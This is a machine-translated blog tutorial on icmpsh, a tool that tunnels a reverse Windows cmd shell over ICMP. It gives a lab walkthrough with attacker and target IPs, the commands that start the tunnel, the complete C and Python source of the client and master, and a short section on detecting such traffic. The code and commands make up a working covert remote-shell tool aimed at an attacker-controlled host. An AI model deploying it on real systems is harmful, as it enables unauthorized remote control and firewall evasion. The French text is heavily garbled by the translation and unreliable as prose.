当前位置:网站首页>Série de pénétration Intranet: icmpsh du tunnel Intranet
Série de pénétration Intranet: icmpsh du tunnel Intranet
2022-04-23 07:55:00 【Poissons du lac Siyuan】
Table des matières
Préface
Cet article étudieICMPUn outil dans le tunnel,icmpsh
github:https://github.com/bdamele/icmpsh
Un.、Généralités
1、Introduction
Dernière mise à jour le2013Année,Peut passerICMPDemande d'accord/Le message de réponse rebonditcmd,Il n'est pas nécessaire de spécifier le service ou le port,Et pas de privilèges d'administrateur,Mais ce qui rebonditcmdTrès instable
- Terminal contrôlé(Client)UtiliserCMise en œuvre linguistique,Ne peut fonctionner que sur la cibleWindowsSur la machine
- Terminal de contrôle principal(Serveur)Parce qu'il y a déjàCEtPerlVersion mise en œuvre, Et ensuite transplanté dans PythonAllez., Il peut donc fonctionner sur n'importe quelle machine d'attaquant de plate - forme .
Conditions:
- La machine cible peut pingSors de là.
- La cible estwindows
2、Principes
ICMP Principe du tunnel voir : Série de pénétration de l'intranet : Tunnel Intranet ICMPTunnel
Client ouvertcmdProcessus,AdoptionpipeMettre dansicmp Processus de tunnel , Mettre les commandes et les échos dans data. Ce qui est mieux, c'est de diviser le contenu , L'intervalle de temps et la longueur de chaque paquet sont limités
3、Utiliser
Tout d'abord, fermez la vérification interne pingRéponse de:
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
icmpshLes options suivantes sont disponibles:
-t host Il le faut., Le client spécifie le serveur
-r Envoyer "Test1234" Chaîne à tester
-d milliseconds requests Intervalle de millisecondes entre
-o milliseconds Définir le temps de réponse maximal en millisecondes
-b num blanksNombre de
-s bytes Taille maximale du tampon de données
Serveur(Machine d'attaque)Mise en œuvre
python icmpsh_m.py <attacker's-IP> <target-IP>
Client(Machine cible,win)Mise en œuvre
icmpsh.exe -t <attacker's-IP>
Puis le tunnel a été construit
2.、Pratique
1、Scénario
Machine d'attaque:kali 192.168.227.129
Machine cible:windows7 192.168.227.128
Fonction cible ping Par la machine d'attaque

2、Construire un tunnel
(1)Machine d'attaque
Fermer la vérification interne ping Réponse et tunnel d'activation :
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
python icmpsh_m.py 192.168.227.129 192.168.227.128

(2)Machine cible
Construire un tunnel
icmpsh.exe -t 192.168.227.129

(3)Tunnel construit avec succès
Tunnel construit avec succès et rebondit shell

Vous pouvez trouver que les noms chinois ne sont pas amicaux
3、Prends le sac.
Rebond rapide sur la connexion shell

dirLes ordres, Il s'est avéré être dispersé dans chaque paquet de battements de cœur , Longueur et fréquence limitées

Trois、Explorer
1、Source et analyse
(1)Client
CLangues
cmd Le processus de pipeMettre dansicmpEnveloppédata,icmp La création du paquet est un appel icmp_create
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h> // Ce sac est à noter
#include <iphlpapi.h>
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
#define STATUS_OK 0
#define STATUS_SINGLE 1
#define STATUS_PROCESS_NOT_CREATED 2
#define TRANSFER_SUCCESS 1
#define TRANSFER_FAILURE 0
#define DEFAULT_TIMEOUT 3000
#define DEFAULT_DELAY 200
#define DEFAULT_MAX_BLANKS 10
#define DEFAULT_MAX_DATA_SIZE 64
FARPROC icmp_create, icmp_send, to_ip; //Appel distant, Registre des segments sur la pile ,ipEn pile, Est - ce là un sujet de préoccupation
int verbose = 0;
// CréationcmdProcessus, Et mettre en place un pipeline de processus
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
{
SECURITY_ATTRIBUTES sattr;
STARTUPINFOA si; // Spécifiez les propriétés du nouveau processus
HANDLE in_read, out_write;
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
// create communication pipes
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
sattr.bInheritHandle = TRUE;
sattr.lpSecurityDescriptor = NULL;
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
// Fermer l'objet du noyau out_read Drapeau d'héritage pour la poignée
return STATUS_PROCESS_NOT_CREATED;
}
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
// spawn process
memset(&si, 0x00, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdError = out_write;
si.hStdOutput = out_write;
si.hStdInput = in_read;
si.dwFlags |= STARTF_USESTDHANDLES;
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
return STATUS_PROCESS_NOT_CREATED;
}
CloseHandle(out_write);
CloseHandle(in_read);
return STATUS_OK;
}
void usage(char *path)
{
printf("%s [options] -t target\n", path);
printf("options:\n");
printf(" -t host host ip address to send ping requests to\n");
printf(" -r send a single test icmp request and then quit\n");
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
printf(" -o milliseconds timeout in milliseconds\n");
printf(" -h this screen\n");
printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
printf(" before quitting\n");
printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
printf("In order to improve the speed, lower the delay (-d) between requests or\n");
printf("increase the size (-s) of the data buffer\n");
}
void create_icmp_channel(HANDLE *icmp_chan)
{
// create icmp file
*icmp_chan = (HANDLE) icmp_create();
}
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{
int rs;
char *temp_in_buf;
int nbytes;
PICMP_ECHO_REPLY echo_reply;
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
if (!temp_in_buf) {
return TRANSFER_FAILURE;
}
// send data to remote host
rs = icmp_send(
icmp_chan,
target,
out_buf,
out_buf_size,
NULL,
temp_in_buf,
max_in_data_size + ICMP_HEADERS_SIZE,
timeout);
// check received data
if (rs > 0) {
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
if (echo_reply->DataSize > max_in_data_size) {
nbytes = max_in_data_size;
} else {
nbytes = echo_reply->DataSize;
}
memcpy(in_buf, echo_reply->Data, nbytes);
*in_buf_size = nbytes;
free(temp_in_buf);
return TRANSFER_SUCCESS;
}
free(temp_in_buf);
return TRANSFER_FAILURE;
}
int load_deps() //Chargementdll
{
HMODULE lib;
lib = LoadLibraryA("ws2_32.dll"); // Lien explicite vers DLL,Pour le soutienInternetEt les applications web
if (lib != NULL) {
to_ip = GetProcAddress(lib, "inet_addr"); //Accès DLL Adresse de la fonction d'exportation
if (!to_ip) {
return 0;
}
}
lib = LoadLibraryA("iphlpapi.dll"); // Pour obtenir、 Fichier de bibliothèque de liens dynamiques qui définit les paramètres liés au réseau
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
lib = LoadLibraryA("ICMP.DLL");
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
printf("failed to load functions (%u)", GetLastError());
return 0;
}
int main(int argc, char **argv)
{
int opt;
char *target;
unsigned int delay, timeout;
unsigned int ip_addr;
HANDLE pipe_read, pipe_write;
HANDLE icmp_chan;
unsigned char *in_buf, *out_buf;
unsigned int in_buf_size, out_buf_size;
DWORD rs;
int blanks, max_blanks;
PROCESS_INFORMATION pi;
int status;
unsigned int max_data_size;
struct hostent *he;
// set defaults
target = 0;
timeout = DEFAULT_TIMEOUT;
delay = DEFAULT_DELAY;
max_blanks = DEFAULT_MAX_BLANKS;
max_data_size = DEFAULT_MAX_DATA_SIZE;
status = STATUS_OK;
if (!load_deps()) {
printf("failed to load ICMP library\n");
return -1;
}
// parse command line options
for (opt = 1; opt < argc; opt++) {
if (argv[opt][0] == '-') {
switch(argv[opt][1]) {
case 'h':
usage(*argv);
return 0;
case 't':
if (opt + 1 < argc) {
target = argv[opt + 1];
}
break;
case 'd':
if (opt + 1 < argc) {
delay = atol(argv[opt + 1]);
}
break;
case 'o':
if (opt + 1 < argc) {
timeout = atol(argv[opt + 1]);
}
break;
case 'r':
status = STATUS_SINGLE;
break;
case 'b':
if (opt + 1 < argc) {
max_blanks = atol(argv[opt + 1]);
}
break;
case 's':
if (opt + 1 < argc) {
max_data_size = atol(argv[opt + 1]);
}
break;
default:
printf("unrecognized option -%c\n", argv[1][0]);
usage(*argv);
return -1;
}
}
}
if (!target) {
printf("you need to specify a host with -t. Try -h for more options\n");
return -1;
}
ip_addr = to_ip(target);
// don't spawn a shell if we're only sending a single test request
if (status != STATUS_SINGLE) {
status = spawn_shell(&pi, &pipe_read, &pipe_write);
}
// create icmp channel
create_icmp_channel(&icmp_chan);
if (icmp_chan == INVALID_HANDLE_VALUE) {
printf("unable to create ICMP file: %u\n", GetLastError());
return -1;
}
// allocate transfer buffers
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
if (!in_buf || !out_buf) {
printf("failed to allocate memory for transfer buffers\n");
return -1;
}
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
// sending/receiving loop
blanks = 0;
do {
switch(status) {
case STATUS_SINGLE:
// reply with a static string
out_buf_size = sprintf(out_buf, "Test1234\n");
break;
case STATUS_PROCESS_NOT_CREATED:
// reply with error message
out_buf_size = sprintf(out_buf, "Process was not created\n");
break;
default:
// read data from process via pipe
out_buf_size = 0;
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
if (out_buf_size > 0) {
out_buf_size = 0;
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
if (!rs && GetLastError() != ERROR_IO_PENDING) {
out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
}
}
} else {
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
}
break;
}
// send request/receive response
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
if (status == STATUS_OK) {
// write data from response back into pipe
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
}
blanks = 0;
} else {
// no reply received or error occured
blanks++;
}
// wait between requests
Sleep(delay);
} while (status == STATUS_OK && blanks < max_blanks);
if (status == STATUS_OK) {
TerminateProcess(pi.hProcess, 0);
}
return 0;
}
(2)Serveur
Surtoutnon-blocking,Et puisICMPDesocket, Après avoir lu le contenu ,Modifications simplesheader,RembourragedataEnvoyer
CLangues
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h> // Est - ce que le débogage ici peut servir de point de contrôle
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#define IN_BUF_SIZE 1024
#define OUT_BUF_SIZE 64
// calculate checksum
unsigned short checksum(unsigned short *ptr, int nbytes)
{
unsigned long sum;
unsigned short oddbyte, rs;
sum = 0;
while(nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if(nbytes == 1) {
oddbyte = 0;
*((unsigned char *) &oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
rs = ~sum;
return rs;
}
int main(int argc, char **argv)
{
int sockfd;
int flags;
char in_buf[IN_BUF_SIZE];
char out_buf[OUT_BUF_SIZE];
unsigned int out_size;
int nbytes;
struct iphdr *ip;
struct icmphdr *icmp;
char *data;
struct sockaddr_in addr;
printf("icmpsh - master\n"); // Cette chaîne caractéristique peut être supprimée
// create raw ICMP socket
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sockfd == -1) {
perror("socket");
return -1;
}
// set stdin to non-blocking
flags = fcntl(0, F_GETFL, 0);
flags |= O_NONBLOCK;
fcntl(0, F_SETFL, flags);
printf("running...\n");
while(1) {
// read data from socket
memset(in_buf, 0x00, IN_BUF_SIZE);
nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
if (nbytes > 0) {
// get ip and icmp header and data part
ip = (struct iphdr *) in_buf;
if (nbytes > sizeof(struct iphdr)) {
nbytes -= sizeof(struct iphdr);
icmp = (struct icmphdr *) (ip + 1);
if (nbytes > sizeof(struct icmphdr)) {
nbytes -= sizeof(struct icmphdr);
data = (char *) (icmp + 1);
data[nbytes] = '\0';
printf("%s", data);
fflush(stdout);
}
// reuse headers
icmp->type = 0; //Set toecho
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = ip->saddr;
// read data from stdin
nbytes = read(0, out_buf, OUT_BUF_SIZE);
if (nbytes > -1) {
memcpy((char *) (icmp + 1), out_buf, nbytes);
out_size = nbytes;
} else {
out_size = 0;
}
icmp->checksum = 0x00;
icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
// send reply
nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
if (nbytes == -1) {
perror("sendto");
return -1;
}
}
}
}
return 0;
}
python
Il y en a un.impacket La façon dont le sac est génial
import os
import select
import socket
import subprocess
import sys
def setNonBlocking(fd):
""" Make a file descriptor non-blocking """
# Encore une fois non-blocking
import fcntl
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
def main(src, dst):
if subprocess.mswindows:
sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.exit(255)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
sys.stderr.write('You need to install Python Impacket library first\n')
sys.exit(255)
# Make standard input a non-blocking file
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
# Open one socket for ICMP protocol
# A special option is set on the socket so that IP headers are included
# with the returned data
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error, e:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.exit(1)
sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Create a new IP packet and set its source and destination addresses
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO REPLY
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
# Instantiate an IP packets decoder
decoder = ImpactDecoder.IPDecoder()
while 1:
cmd = ''
# Wait for incoming replies
if sock in select.select([ sock ], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # Reçu.reply
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data)
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
if __name__ == '__main__':
if len(sys.argv) < 3:
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
sys.stderr.write(msg)
sys.exit(1)
main(sys.argv[1], sys.argv[2])
2、Détection et contournement
(1)AnomalieICMPNombre de paquets
Comme le montre la figure,Battements de cœur0.2sUn

Celle - ci peut être changée en et ping Même intervalle de temps
(2)payloadContenu
La longueur est déjà limitée
Donc C'est le contenu qui est vraiment différent

NormalpingLes ordres:
windowsSous le systèmeping La transmission par défaut est :abcdefghijklmnopqrstuvwabcdefghi,Total32bytes
linuxSous le système,ping La transmission par défaut est 48bytes,Avant8bytesVariation dans le temps, La fixation à l'arrière reste inchangée ,Le contenu est le suivant:!”#$%&’()+,-./01234567
Le cryptage est confus ici ,Ça ira mieux?
(3)cmdProcessus
On peut se concentrer.cmd Si le processus est activé
(4)dll
Il y a plusieurs dllLiens vers
Conclusion
C'est assez simple icmp Tunnel.
版权声明
本文为[Poissons du lac Siyuan]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204230628265450.html
边栏推荐
- C operation registry full introduction
- Enterprise wechat login free jump self built application
- SQL sorts string numbers
- Houdini>建筑道路可变,学习过程笔记
- 一些关于网络安全的好教程或笔记的链接,记录一下
- IDEA快捷键
- Xamarin版的C# SVG路径解析器
- How does Apache Hudi accelerate traditional batch mode?
- When using flash, the code ends automatically without an error, the connection cannot be maintained, and the URL cannot be accessed.
- How to present your digital portfolio: suggestions from creative recruiters
猜你喜欢

How does Apache Hudi accelerate traditional batch mode?

Teach-Repeat-Replan: A Complete and Robust System for Aggressive Flight in Complex Environments

Houdini流体>>粒子流体导出到unity笔记

MySQL in window10 version does not work after setting remote access permission
![MySQL8. 0 installation / uninstallation tutorial [window10 version]](/img/9c/1acf153b410f0d2eb6a23dcdbabb88.png)
MySQL8. 0 installation / uninstallation tutorial [window10 version]

命令行参数传递库argparse的使用

How does Apache Hudi accelerate traditional batch mode?

Houdini fluid > > particle fluid export to unity note

ABAP ALV显示金额与导出金额不一致

Houdini地形与流体解算(模拟泥石流)
随机推荐
unity UGUI判断点击在UI上和3D物体上的解决方案
UnityShader基础
IDEA快捷键
一文了解系列,对web渗透的常见漏洞总结(持续更新)
The problem of exporting excel form with wireframe and internal spacing of form by using web form
KCD_EXCEL_OLE_TO_INT_CONVERT报错SY-subrc = 2
NodeJS(一) 事件驱动编程
About unity to obtain links related to the transformation of real geographic maps into 3D
Rethink | open the girl heart mode of station B and explore the design and implementation of APP skin changing mechanism
MySQL8. 0 installation / uninstallation tutorial [window10 version]
Unity 获取一个文件依赖的资源
C # use laida criterion (3) σ Criteria) reject abnormal data (.Net reject singular values in a group of data)
Houdini > fluid, rigid body export, learning process notes
第四章 无形资产
Simplify exporting to SVG data files and all images in SVG folder
Shapley Explanation Networks
将指定路径下的所有SVG文件导出成PNG等格式的图片(缩略图或原图大小)
根据某一指定的表名、列名及列值来向前或向后N条查相关列值的SQL自定义标量值函数
三分钟教你用Houdini流体>>解算粒子流体水滴
踩坑日记:Unable to process Jar entry [module-info.class]